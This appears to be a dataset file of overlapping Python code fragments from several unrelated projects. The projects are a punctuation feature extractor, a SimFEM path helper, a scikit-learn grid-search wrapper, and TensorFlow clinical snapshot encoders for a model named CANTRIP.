"original_form = tokens[i - 1] + token label = 1 pos = 0",
"= True else: # for not only punctuation tokens if token == '...':",
"or token == ':': punc_type = punc.index(token) original_form = tokens[i - 1] +",
"token is kept on a different line tokens.append(line.rstrip('\\n')) for token, i in zip(tokens,",
"= 0 x = [] # features y = [] # labels tokens",
"= [] # labels tokens = [] with open(dir+filename, 'r', encoding='utf8') as f:",
"j in category_files: if '_tokenized' in j: # take only tokenized files x_temp,",
"+= 1 punc_type = punc.index(token) try: original_form = token + tokens[i + 1]",
"int(j.isupper()) only_punc = False break if not only_punc: x = [punc_type, pos, len(original_form),",
"= 1 # punctuation is another token pos = len(original_form) - 1 found",
"+ 1] label = 1 pos = 0 found = True except IndexError:",
"= [punc_type, pos, len(original_form), case] return x if __name__ == '__main__': x =",
"'\\\"') and quote_count % 2 == 0: quote_count += 1 punc_type = punc.index(token)",
"0 found = True except IndexError: break # send for feature extraction elif",
"if '_tokenized' in j: # take only tokenized files x_temp, y_temp = file_feature_extraction(category_dir,",
"as f: for feature, i in zip(x, range(len(x))): for j in feature: f.write('%d\\t'",
"if not only_punc: x = [punc_type, pos, len(original_form), case] return x if __name__",
"labels tokens = [] with open(dir+filename, 'r', encoding='utf8') as f: for line in",
"True for j in original_form: if j not in punc: case = int(j.isupper())",
"is found pos = j original_form = token break only_punc = True for",
"True except IndexError: break elif token == ')': punc_type = punc.index(token) original_form =",
"for ch, j in zip(token, range(len(token))): # iterate through string to detect punctuations"
] |
[
"import sys, os, shutil, subprocess # def storeSourcePath(installdir, simfemsourcedir): # with open(installdir+'/SOURCE_DIR_SIMFEM','w') as",
"subprocess # def storeSourcePath(installdir, simfemsourcedir): # with open(installdir+'/SOURCE_DIR_SIMFEM','w') as pathfile: # pathfile.write(simfemsourcedir) #",
"# def storeSourcePath(installdir, simfemsourcedir): # with open(installdir+'/SOURCE_DIR_SIMFEM','w') as pathfile: # pathfile.write(simfemsourcedir) # def",
"# pathfile.write(simfemsourcedir) # def getSourcePath(installdir): # with open(installdir+'/SOURCE_DIR_SIMFEM','r') as pathfile: # return pathfile.read()",
"<filename>python/tools/simfempath.py import sys, os, shutil, subprocess # def storeSourcePath(installdir, simfemsourcedir): # with open(installdir+'/SOURCE_DIR_SIMFEM','w')",
"os, shutil, subprocess # def storeSourcePath(installdir, simfemsourcedir): # with open(installdir+'/SOURCE_DIR_SIMFEM','w') as pathfile: #",
"as pathfile: # pathfile.write(simfemsourcedir) # def getSourcePath(installdir): # with open(installdir+'/SOURCE_DIR_SIMFEM','r') as pathfile: #",
"open(installdir+'/SOURCE_DIR_SIMFEM','w') as pathfile: # pathfile.write(simfemsourcedir) # def getSourcePath(installdir): # with open(installdir+'/SOURCE_DIR_SIMFEM','r') as pathfile:",
"storeSourcePath(installdir, simfemsourcedir): # with open(installdir+'/SOURCE_DIR_SIMFEM','w') as pathfile: # pathfile.write(simfemsourcedir) # def getSourcePath(installdir): #",
"with open(installdir+'/SOURCE_DIR_SIMFEM','w') as pathfile: # pathfile.write(simfemsourcedir) # def getSourcePath(installdir): # with open(installdir+'/SOURCE_DIR_SIMFEM','r') as",
"# with open(installdir+'/SOURCE_DIR_SIMFEM','w') as pathfile: # pathfile.write(simfemsourcedir) # def getSourcePath(installdir): # with open(installdir+'/SOURCE_DIR_SIMFEM','r')",
"pathfile: # pathfile.write(simfemsourcedir) # def getSourcePath(installdir): # with open(installdir+'/SOURCE_DIR_SIMFEM','r') as pathfile: # return",
"shutil, subprocess # def storeSourcePath(installdir, simfemsourcedir): # with open(installdir+'/SOURCE_DIR_SIMFEM','w') as pathfile: # pathfile.write(simfemsourcedir)",
"simfemsourcedir): # with open(installdir+'/SOURCE_DIR_SIMFEM','w') as pathfile: # pathfile.write(simfemsourcedir) # def getSourcePath(installdir): # with",
"sys, os, shutil, subprocess # def storeSourcePath(installdir, simfemsourcedir): # with open(installdir+'/SOURCE_DIR_SIMFEM','w') as pathfile:",
"def storeSourcePath(installdir, simfemsourcedir): # with open(installdir+'/SOURCE_DIR_SIMFEM','w') as pathfile: # pathfile.write(simfemsourcedir) # def getSourcePath(installdir):"
] |
[
"import BaseSearchALS _KWARG_TRANSFORM = 'transform_y' class GridSearchALS(BaseSearchALS): def fit(self, *args, **kwargs): x_df, y_df,",
"<gh_stars>0 from sklearn.model_selection import GridSearchCV from sklearn.pipeline import Pipeline from .base_search import BaseSearchALS",
"self._make_scorer(transform_y=transform_y) gs = GridSearchCV(Pipeline(self.pipe), self.hyperparameters, cv=cv, scoring=scorer, return_train_score=self.with_train_score, n_jobs=self.n_jobs, verbose=self.verbose) gs.fit(x_df, y=y_df) return",
"Pipeline from .base_search import BaseSearchALS _KWARG_TRANSFORM = 'transform_y' class GridSearchALS(BaseSearchALS): def fit(self, *args,",
"= self._make_scorer(transform_y=transform_y) gs = GridSearchCV(Pipeline(self.pipe), self.hyperparameters, cv=cv, scoring=scorer, return_train_score=self.with_train_score, n_jobs=self.n_jobs, verbose=self.verbose) gs.fit(x_df, y=y_df)",
"y_df, cols = args transform_y = kwargs.get(_KWARG_TRANSFORM, None) cv = self._make_cv(cols) scorer =",
"= self._make_cv(cols) scorer = self._make_scorer(transform_y=transform_y) gs = GridSearchCV(Pipeline(self.pipe), self.hyperparameters, cv=cv, scoring=scorer, return_train_score=self.with_train_score, n_jobs=self.n_jobs,",
"kwargs.get(_KWARG_TRANSFORM, None) cv = self._make_cv(cols) scorer = self._make_scorer(transform_y=transform_y) gs = GridSearchCV(Pipeline(self.pipe), self.hyperparameters, cv=cv,",
"cv = self._make_cv(cols) scorer = self._make_scorer(transform_y=transform_y) gs = GridSearchCV(Pipeline(self.pipe), self.hyperparameters, cv=cv, scoring=scorer, return_train_score=self.with_train_score,",
"args transform_y = kwargs.get(_KWARG_TRANSFORM, None) cv = self._make_cv(cols) scorer = self._make_scorer(transform_y=transform_y) gs =",
"import Pipeline from .base_search import BaseSearchALS _KWARG_TRANSFORM = 'transform_y' class GridSearchALS(BaseSearchALS): def fit(self,",
"'transform_y' class GridSearchALS(BaseSearchALS): def fit(self, *args, **kwargs): x_df, y_df, cols = args transform_y",
"cols = args transform_y = kwargs.get(_KWARG_TRANSFORM, None) cv = self._make_cv(cols) scorer = self._make_scorer(transform_y=transform_y)",
"= args transform_y = kwargs.get(_KWARG_TRANSFORM, None) cv = self._make_cv(cols) scorer = self._make_scorer(transform_y=transform_y) gs",
"def fit(self, *args, **kwargs): x_df, y_df, cols = args transform_y = kwargs.get(_KWARG_TRANSFORM, None)",
"sklearn.pipeline import Pipeline from .base_search import BaseSearchALS _KWARG_TRANSFORM = 'transform_y' class GridSearchALS(BaseSearchALS): def",
"BaseSearchALS _KWARG_TRANSFORM = 'transform_y' class GridSearchALS(BaseSearchALS): def fit(self, *args, **kwargs): x_df, y_df, cols",
".base_search import BaseSearchALS _KWARG_TRANSFORM = 'transform_y' class GridSearchALS(BaseSearchALS): def fit(self, *args, **kwargs): x_df,",
"gs = GridSearchCV(Pipeline(self.pipe), self.hyperparameters, cv=cv, scoring=scorer, return_train_score=self.with_train_score, n_jobs=self.n_jobs, verbose=self.verbose) gs.fit(x_df, y=y_df) return gs",
"None) cv = self._make_cv(cols) scorer = self._make_scorer(transform_y=transform_y) gs = GridSearchCV(Pipeline(self.pipe), self.hyperparameters, cv=cv, scoring=scorer,",
"transform_y = kwargs.get(_KWARG_TRANSFORM, None) cv = self._make_cv(cols) scorer = self._make_scorer(transform_y=transform_y) gs = GridSearchCV(Pipeline(self.pipe),",
"from sklearn.model_selection import GridSearchCV from sklearn.pipeline import Pipeline from .base_search import BaseSearchALS _KWARG_TRANSFORM",
"class GridSearchALS(BaseSearchALS): def fit(self, *args, **kwargs): x_df, y_df, cols = args transform_y =",
"_KWARG_TRANSFORM = 'transform_y' class GridSearchALS(BaseSearchALS): def fit(self, *args, **kwargs): x_df, y_df, cols =",
"from .base_search import BaseSearchALS _KWARG_TRANSFORM = 'transform_y' class GridSearchALS(BaseSearchALS): def fit(self, *args, **kwargs):",
"from sklearn.pipeline import Pipeline from .base_search import BaseSearchALS _KWARG_TRANSFORM = 'transform_y' class GridSearchALS(BaseSearchALS):",
"self._make_cv(cols) scorer = self._make_scorer(transform_y=transform_y) gs = GridSearchCV(Pipeline(self.pipe), self.hyperparameters, cv=cv, scoring=scorer, return_train_score=self.with_train_score, n_jobs=self.n_jobs, verbose=self.verbose)",
"GridSearchALS(BaseSearchALS): def fit(self, *args, **kwargs): x_df, y_df, cols = args transform_y = kwargs.get(_KWARG_TRANSFORM,",
"= 'transform_y' class GridSearchALS(BaseSearchALS): def fit(self, *args, **kwargs): x_df, y_df, cols = args",
"x_df, y_df, cols = args transform_y = kwargs.get(_KWARG_TRANSFORM, None) cv = self._make_cv(cols) scorer",
"fit(self, *args, **kwargs): x_df, y_df, cols = args transform_y = kwargs.get(_KWARG_TRANSFORM, None) cv",
"*args, **kwargs): x_df, y_df, cols = args transform_y = kwargs.get(_KWARG_TRANSFORM, None) cv =",
"GridSearchCV from sklearn.pipeline import Pipeline from .base_search import BaseSearchALS _KWARG_TRANSFORM = 'transform_y' class",
"import GridSearchCV from sklearn.pipeline import Pipeline from .base_search import BaseSearchALS _KWARG_TRANSFORM = 'transform_y'",
"sklearn.model_selection import GridSearchCV from sklearn.pipeline import Pipeline from .base_search import BaseSearchALS _KWARG_TRANSFORM =",
"scorer = self._make_scorer(transform_y=transform_y) gs = GridSearchCV(Pipeline(self.pipe), self.hyperparameters, cv=cv, scoring=scorer, return_train_score=self.with_train_score, n_jobs=self.n_jobs, verbose=self.verbose) gs.fit(x_df,",
"**kwargs): x_df, y_df, cols = args transform_y = kwargs.get(_KWARG_TRANSFORM, None) cv = self._make_cv(cols)",
"= kwargs.get(_KWARG_TRANSFORM, None) cv = self._make_cv(cols) scorer = self._make_scorer(transform_y=transform_y) gs = GridSearchCV(Pipeline(self.pipe), self.hyperparameters,"
] |
[
"x vocab_size bag-of-observation vectors bags = get_bag_vectors(model) flat_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len,",
"bag-of-observation vectors with tf.variable_scope(\"RMLP\"): bags = get_bag_vectors(model) flat_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len,",
"in range(num_layers): x = residual_unit(x, i, num_hidden) x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x =",
"bag-of-observation vectors embedded_observations = layers.create_embeddings(model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape them so we",
"adds clinical snapshot encoding ops to the graph returning the final clinical snapshot",
"function to use between layers :return: clinical snapshot encoding \"\"\" activation_fn = None",
"[model.batch_size * model.max_seq_len, model.vocabulary_size]) x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) # Convert to Dense to",
":type model: modeling.BERTModel \"\"\" with tf.variable_scope('rnn_encoder'): # Embed clinical observations embedded_observations = layers.embedding_layer(model.observations,",
"model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to (batch * seq_len * doc_len) x embedding",
"\"\"\" import tensorflow.compat.v1 as tf import layers import rnn_cell def rnn_encoder(num_hidden, cell_fn=rnn_cell.RANCell): \"\"\"",
"Reshape final output by grouping observations in the same snapshot together obs_layer =",
"axis=-1) # Our sparse tensor will be 1 for observed observations, 0, otherwise",
"modified element-wise averages of embedded clinical observations. :param obs_hidden_units: number of hidden units",
"layers will be added using the respective hidden units :param avg_hidden_units: number of",
"ones = tf.ones_like(indices[:, 0], dtype=tf.float32) # The dense shape will be the same",
"binary vector such that the v-th index is 1 iff the v-th observation",
"bag flat_emb_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size], name='flat_emb_obs') # Dropout for fun",
"dense_shape=dense_shape) return tf.sparse.reorder(st) def dense_encoder(model): \"\"\" Represents documents as an embedded bag of",
"get_bag_vectors(model) flat_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size]) x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) residuals",
"rnn_cell constructor to use :return: rnn_encoder function \"\"\" def _rnn_encoder(model): \"\"\" :type model:",
"obs_layer = tf.reshape(obs_layer, [model.batch_size * model.max_seq_len, model.max_snapshot_size, obs_hidden_units[-1]]) # Divide by active number",
"elif activation == 'relu': activation_fn = tf.nn.relu elif activation == 'tanh': activation_fn =",
"final output by grouping observations in the same snapshot together obs_layer = tf.reshape(obs_layer,",
":type model: modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" with tf.variable_scope('dense_encoder'): # Use the",
"= tf.sparse.to_dense(flat_bags) # flat_bags = tf.debugging.assert_all_finite(flat_bags, 'flat bags had nans') # x =",
"activation function: %s' % activation) def _dan_encoder(model): \"\"\" :param model: :type model: modeling.CANTRIPModel",
"for num_hidden in obs_hidden_units: obs_layer = tf.keras.layers.Dense(units=num_hidden, activation=activation_fn)(obs_layer) # Reshape final output by",
"to [3, 4, 5] :param kernels: number of convolutional kernels; defaults to 1,000",
"return x + inputs def _rmlp_encoder(model): # Convert batch x seq_len x doc_len",
"+ 1, depth) x = vhn_layer(x, units=num_hidden, residuals=residuals[-slice_:]) residuals.append(x) x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x)",
"Clinical snapshot encoders for use with CANTRIP Model. CANTRIPModel expects a clinical snapshot",
"[model.batch_size * model.max_seq_len, 1]) mask = tf.sequence_mask(model.snapshot_sizes, maxlen=model.max_snapshot_size, dtype=tf.float32) mask = tf.reshape(mask, [model.batch_size",
"tf.where(mask) # 2. Get the vocabulary indices for non-zero observations vocab_indices = tf.boolean_mask(model.observations,",
"%s' % activation) def residual_unit(inputs, i, units): with tf.variable_scope(\"residual_unit%d\" % i): x =",
"# flat_emb_bags = tf.layers.dropout(flat_emb_bags, rate=model.dropout, training=model.training) # Sparse to dense projection flat_doc_embeddings =",
"depth=6, num_hidden=2048): activation_fn = None if activation == 'gelu': activation_fn = layers.gelu elif",
"model.embedding_size]) x = tf.debugging.assert_all_finite(x, 'reshape had nans') return x return _rmlp_encoder def vhn_encoder(activation='gelu',",
"num_hidden=2048): activation_fn = None if activation == 'gelu': activation_fn = layers.gelu elif activation",
"of observations rather than the padded snapshot size; requires reshaping to # (batch",
"1), dtype=tf.float32) # More fun dense layers for num_hidden in avg_hidden_units: avg_layer =",
"the model output = tf.keras.layers.Dense(model.embedding_size, activation_fn)(avg_layer) # Reshape to [batch_size x seq_len x",
"model.embedding_size], name='flat_emb_obs') flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len], name='flat_snapshot_sizes') # Apply RNN to",
"model.max_seq_len, model.max_snapshot_size, model.embedding_size]) # Apply parallel convolutional and pooling layers outputs = []",
"[batch_size x seq_len x encoding_size] return tf.reshape(output, [model.batch_size, model.max_seq_len, model.embedding_size]) return _dan_encoder def",
"dense_shape = model.observations.get_shape().as_list() dense_shape[2] = model.vocabulary_size # Store as a sparse tensor because",
"tf.debugging.check_numerics(outputs, \"SparseDenseLayer output had NaNs\") return outputs def dan_encoder(obs_hidden_units, avg_hidden_units, activation='gelu'): \"\"\"Represents snapshots",
"seq_len) x doc_len x embedding flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len, model.max_snapshot_size, model.embedding_size],",
"n + 1, name=\"maxpool_%dgram\" % n)(conv_layer) outputs.append(pool_layer) # Concatenate pooled outputs output =",
"def call(self, inputs): if not isinstance(inputs, tf.SparseTensor): return super(SparseDenseLayer, self).call(inputs) outputs = tf.sparse.sparse_dense_matmul(inputs,",
"constructor to use :return: rnn_encoder function \"\"\" def _rnn_encoder(model): \"\"\" :type model: modeling.BERTModel",
"dense layers between observation embeddings and average; if iterable multiple dense layers will",
":param num_hidden: number of hidden (memory) units use; num_hidden is iterable, a multi-layer",
"[model.batch_size * model.max_seq_len, model.max_snapshot_size, 1]) # Compute dynamic-size element-wise average avg_layer = tf.reduce_sum(obs_layer",
"\"SparseDenseLayer had NaN product\") if self.use_bias: outputs = tf.nn.bias_add(outputs, self.bias) outputs = tf.debugging.check_numerics(outputs,",
"[model.batch_size * model.max_seq_len, model.max_snapshot_size, model.embedding_size], name='flat_emb_obs') flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len], name='flat_snapshot_sizes')",
"residuals.append(x) x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x = tf.reshape(x, [model.batch_size, model.max_seq_len, model.embedding_size]) return x",
"number of hidden layers. If :param num_hidden: number of hidden (memory) units use;",
"= layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to (batch * seq_len *",
"* model.max_seq_len, model.max_snapshot_size, model.embedding_size], name='flat_emb_obs') flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len], name='flat_snapshot_sizes') #",
"average avg_layer = tf.reduce_sum(obs_layer * mask, axis=1) avg_layer = avg_layer / tf.cast(tf.maximum(flattened_snapshot_sizes, 1),",
"observations. Specifically, returns a V-length binary vector such that the v-th index is",
"Reshape back to (batch x seq_len x encoding_size) return tf.reshape(flattened_snapshot_encodings, [model.batch_size, model.max_seq_len, flattened_snapshot_encodings.shape[-1]],",
"ReLU embeddings = tf.keras.layers.Dense(units=model.embedding_size, activation=tf.nn.relu)(output) # Reshape back to [batch_size x max_seq_len x",
"# Dropout for fun # if model.dropout > 0: # flat_emb_bags = tf.layers.dropout(flat_emb_bags,",
"activation=tf.nn.relu)(output) # Reshape back to [batch_size x max_seq_len x encoding_size] return tf.reshape(embeddings, [model.batch_size,",
"model.max_seq_len, 1]) mask = tf.sequence_mask(model.snapshot_sizes, maxlen=model.max_snapshot_size, dtype=tf.float32) mask = tf.reshape(mask, [model.batch_size * model.max_seq_len,",
"If :param num_hidden: number of hidden (memory) units use; num_hidden is iterable, a",
"avg_hidden_units: avg_layer = tf.keras.layers.Dense(num_hidden, activation_fn)(avg_layer) # Final output of the model output =",
"defaults to [3, 4, 5] :param kernels: number of convolutional kernels; defaults to",
"\"\"\" if windows is None: windows = [3, 4, 5] def _cnn_encoder(model): \"\"\"",
"'tanh': activation_fn = tf.nn.tanh elif activation == 'sigmoid': activation_fn = tf.nn.sigmoid else: raise",
"activation=tf.nn.leaky_relu, name=\"conv_%dgram\" % n)(flattened_embedded_obs) pool_layer = tf.keras.layers.MaxPooling1D(pool_size=1, strides=model.max_snapshot_size - n + 1, name=\"maxpool_%dgram\"",
"returning the final clinical snapshot encoding as [batch x max_seq_len x embedding_size] \"\"\"",
"def _rnn_encoder(model): \"\"\" :type model: modeling.BERTModel \"\"\" with tf.variable_scope('rnn_encoder'): # Embed clinical observations",
"in windows: if dropout > 0: flattened_embedded_obs = \\ tf.keras.layers.Dropout(rate=model.dropout)(flattened_embedded_obs, training=model.training) conv_layer =",
"tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size], name='flat_emb_obs') # Dropout for fun # if model.dropout",
"training=model.training) # Reshape to (batch * seq_len * doc_len) x embedding flattened_embedded_observations =",
"a snapshot :param model: CANTRIP model :type model: modeling.CANTRIPModel :return: clinical snapshot encoding",
"a modified element-wise averages of embedded clinical observations. :param obs_hidden_units: number of hidden",
"> 0: # flat_emb_bags = tf.layers.dropout(flat_emb_bags, rate=model.dropout, training=model.training) # Sparse to dense projection",
"flat_doc_embeddings = tf.sparse_tensor_dense_matmul(flat_emb_bags, embedded_observations, name='flat_doc_embeddings') # More dropout for fun flat_doc_embeddings = tf.keras.layers.Dropout(rate=model.dropout)(flat_doc_embeddings,",
"embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to (batch * seq_len)",
"Concatenate pooled outputs output = tf.concat(outputs, axis=-1) # Embed concat output with leaky",
"hidden units :param activation: type of activation function to use between layers :return:",
"Get the vocabulary indices for non-zero observations vocab_indices = tf.boolean_mask(model.observations, mask) vocab_indices =",
"return _dan_encoder def rmlp_encoder(activation='gelu', num_layers=10, num_hidden=2048): activation_fn = None if activation == 'gelu':",
"outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN bias sum\") if self.activation is not None:",
"model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to (batch * seq_len * doc_len) x",
"model.embedding_size]) return _dan_encoder def rmlp_encoder(activation='gelu', num_layers=10, num_hidden=2048): activation_fn = None if activation ==",
"to (batch * seq_len) x snapshot_size x embedding flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size *",
"# Compute dynamic-size element-wise average avg_layer = tf.reduce_sum(obs_layer * mask, axis=1) avg_layer =",
"bias sum\") if self.activation is not None: outputs = self.activation(outputs) outputs = tf.debugging.check_numerics(outputs,",
"tf.nn.relu elif activation == 'tanh': activation_fn = tf.nn.tanh elif activation == 'sigmoid': activation_fn",
"vhn_encoder(activation='gelu', noise_weight=0.75, num_layers=10, depth=6, num_hidden=2048): activation_fn = None if activation == 'gelu': activation_fn",
"model.vocab_dropout, training=model.training) # Reshape to (batch * seq_len) x doc_len x embedding flattened_embedded_obs",
"activation_fn = tf.nn.sigmoid else: raise KeyError('Unsupported activation function: %s' % activation) def residual_unit(inputs,",
"**kwargs) def call(self, inputs): if not isinstance(inputs, tf.SparseTensor): return super(SparseDenseLayer, self).call(inputs) outputs =",
"embeddings and snapshot encoding; if iterable multiple dense layers will be added using",
"CANTRIP model :type model: modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" # 1. Evaluate",
"# flat_bags = tf.debugging.assert_all_finite(flat_bags, 'flat bags had nans') # x = tf.keras.layers.Dense(units=num_hidden, activation=None)(flat_bags)",
"tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size]) x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) residuals = [] for",
"batch, sequence, and vocabulary indices indices = tf.concat([tensor_indices, vocab_indices], axis=-1) # Our sparse",
"outputs = tf.nn.bias_add(outputs, self.bias) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN bias sum\") if",
"indices for non-zero observations vocab_indices = tf.boolean_mask(model.observations, mask) vocab_indices = tf.expand_dims(vocab_indices[:], axis=-1) vocab_indices",
"self.kernel) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN product\") if self.use_bias: outputs = tf.nn.bias_add(outputs,",
"the graph returning the final clinical snapshot encoding as [batch x max_seq_len x",
"+ noise) return tf.math.add_n([out, inputs] + residuals) def _vhn_encoder(model): # Convert batch x",
"NaNs\") return outputs def dan_encoder(obs_hidden_units, avg_hidden_units, activation='gelu'): \"\"\"Represents snapshots as a modified element-wise",
"embedded_observations = layers.create_embeddings(model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape them so we use the",
"inputs=flattened_embedded_obs, lengths=flattened_snapshot_sizes, return_interpretable_weights=False) # Reshape back to (batch x seq_len x encoding_size) return",
"and adds clinical snapshot encoding ops to the graph returning the final clinical",
"rmlp_encoder(activation='gelu', num_layers=10, num_hidden=2048): activation_fn = None if activation == 'gelu': activation_fn = layers.gelu",
"observed observations, 0, otherwise ones = tf.ones_like(indices[:, 0], dtype=tf.float32) # The dense shape",
"snapshot encoder function which takes as input the CANTRIPModel and adds clinical snapshot",
"SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) # Convert to Dense to debug NaNs # flat_bags = tf.sparse.to_dense(flat_bags)",
"class SparseDenseLayer(tf.keras.layers.Dense): def __init__(self, units, activation=None, use_bias=True, kernel_initializer='glorot_uniform', bias_initializer='zeros', kernel_regularizer=None, bias_regularizer=None, activity_regularizer=None, kernel_constraint=None,",
"by active number of observations rather than the padded snapshot size; requires reshaping",
"observation layers obs_layer = flattened_embedded_observations for num_hidden in obs_hidden_units: obs_layer = tf.keras.layers.Dense(units=num_hidden, activation=activation_fn)(obs_layer)",
"activation function: %s' % activation) def residual_unit(inputs, i, units): with tf.variable_scope(\"residual_unit%d\" % i):",
"not isinstance(inputs, tf.SparseTensor): return super(SparseDenseLayer, self).call(inputs) outputs = tf.sparse.sparse_dense_matmul(inputs, self.kernel) outputs = tf.debugging.check_numerics(outputs,",
"= tf.keras.layers.BatchNormalization()(x) x = activation_fn(x) return x + inputs def _rmlp_encoder(model): # Convert",
"of hidden units in dense layers between average embeddings and snapshot encoding; if",
"sum\") if self.activation is not None: outputs = self.activation(outputs) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer",
"model.max_seq_len, flattened_snapshot_encodings.shape[-1]], name='rnn_snapshot_encoding') return _rnn_encoder def cnn_encoder(windows=None, kernels=1000, dropout=0.): \"\"\" Creates a CNN",
"sparse tensor will be 1 for observed observations, 0, otherwise ones = tf.ones_like(indices[:,",
"= get_bag_vectors(model) # Embed bag-of-observation vectors embedded_observations = layers.create_embeddings(model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) #",
"self.activation is not None: outputs = self.activation(outputs) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN",
"dropout: dropout probability; defaults to 0.0 (no dropout) :return: cnn_encoder function \"\"\" if",
"dtype=tf.int64) # 3. Get batch and sequence indices for non-zero observations tensor_indices =",
"will be added using the respective hidden units :param avg_hidden_units: number of hidden",
"probability; defaults to 0.0 (no dropout) :return: cnn_encoder function \"\"\" if windows is",
"range(num_layers): x = residual_unit(x, i, num_hidden) x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x = tf.debugging.assert_all_finite(x,",
"use the same projection weights for every bag flat_emb_bags = tf.sparse.reshape(bags, [model.batch_size *",
"activation=activation_fn)(x) x = tf.debugging.assert_all_finite(x, 'dense had nans') x = tf.reshape(x, [model.batch_size, model.max_seq_len, model.embedding_size])",
"# Final output of the model output = tf.keras.layers.Dense(model.embedding_size, activation_fn)(avg_layer) # Reshape to",
"noise) return tf.math.add_n([out, inputs] + residuals) def _vhn_encoder(model): # Convert batch x seq_len",
"defaults to 0.0 (no dropout) :return: cnn_encoder function \"\"\" if windows is None:",
"observations vocab_indices = tf.boolean_mask(model.observations, mask) vocab_indices = tf.expand_dims(vocab_indices[:], axis=-1) vocab_indices = tf.cast(vocab_indices, dtype=tf.int64)",
"vector such that the v-th index is 1 iff the v-th observation occurs",
"tf.sparse_tensor_dense_matmul(flat_emb_bags, embedded_observations, name='flat_doc_embeddings') # More dropout for fun flat_doc_embeddings = tf.keras.layers.Dropout(rate=model.dropout)(flat_doc_embeddings, training=model.training) #",
"so we can divide by this flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len, 1])",
"# Concat batch, sequence, and vocabulary indices indices = tf.concat([tensor_indices, vocab_indices], axis=-1) #",
"outputs = tf.sparse.sparse_dense_matmul(inputs, self.kernel) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN product\") if self.use_bias:",
"inputs def _rmlp_encoder(model): # Convert batch x seq_len x doc_len tensor of obs",
"had nans') # x = tf.keras.layers.Dense(units=num_hidden, activation=None)(flat_bags) for i in range(num_layers): x =",
"x = tf.reshape(x, [model.batch_size, model.max_seq_len, model.embedding_size]) x = tf.debugging.assert_all_finite(x, 'reshape had nans') return",
"x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x = tf.reshape(x, [model.batch_size, model.max_seq_len, model.embedding_size]) return x return",
"as an embedded bag of clinical observations. Specifically, returns an embedded of the",
"kernel_initializer=kernel_initializer, bias_initializer=bias_initializer, kernel_regularizer=kernel_regularizer, bias_regularizer=bias_regularizer, activity_regularizer=activity_regularizer, kernel_constraint=kernel_constraint, bias_constraint=bias_constraint, **kwargs) def call(self, inputs): if not",
"to batch x seq_len x vocab_size bag-of-observation vectors with tf.variable_scope(\"RMLP\"): bags = get_bag_vectors(model)",
"/ tf.cast(tf.maximum(flattened_snapshot_sizes, 1), dtype=tf.float32) # More fun dense layers for num_hidden in avg_hidden_units:",
"== 'tanh': activation_fn = tf.nn.tanh elif activation == 'sigmoid': activation_fn = tf.nn.sigmoid else:",
"as input the CANTRIPModel and adds clinical snapshot encoding ops to the graph",
"rnn_encoder function \"\"\" def _rnn_encoder(model): \"\"\" :type model: modeling.BERTModel \"\"\" with tf.variable_scope('rnn_encoder'): #",
":type model: modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" # 1. Evaluate which entries",
"'dense had nans') x = tf.reshape(x, [model.batch_size, model.max_seq_len, model.embedding_size]) x = tf.debugging.assert_all_finite(x, 'reshape",
"and snapshot encoding; if iterable multiple dense layers will be added using the",
"(batch x seq_len) x 1 so we can divide by this flattened_snapshot_sizes =",
"weights for every bag flat_emb_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size], name='flat_emb_obs') #",
"batch x seq_len x vocab_size bag-of-observation vectors with tf.variable_scope(\"RMLP\"): bags = get_bag_vectors(model) flat_bags",
"tensor_indices = where[:, :-1] # Concat batch, sequence, and vocabulary indices indices =",
"model.max_seq_len, model.max_snapshot_size, 1]) # Compute dynamic-size element-wise average avg_layer = tf.reduce_sum(obs_layer * mask,",
"all documents in all batches flattened_snapshot_encodings = layers.rnn_layer(cell_fn=cell_fn, num_hidden=num_hidden, inputs=flattened_embedded_obs, lengths=flattened_snapshot_sizes, return_interpretable_weights=False) #",
"tensor will be 1 for observed observations, 0, otherwise ones = tf.ones_like(indices[:, 0],",
"with tf.variable_scope(\"RMLP\"): bags = get_bag_vectors(model) flat_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size]) x",
"tf.cast(vocab_indices, dtype=tf.int64) # 3. Get batch and sequence indices for non-zero observations tensor_indices",
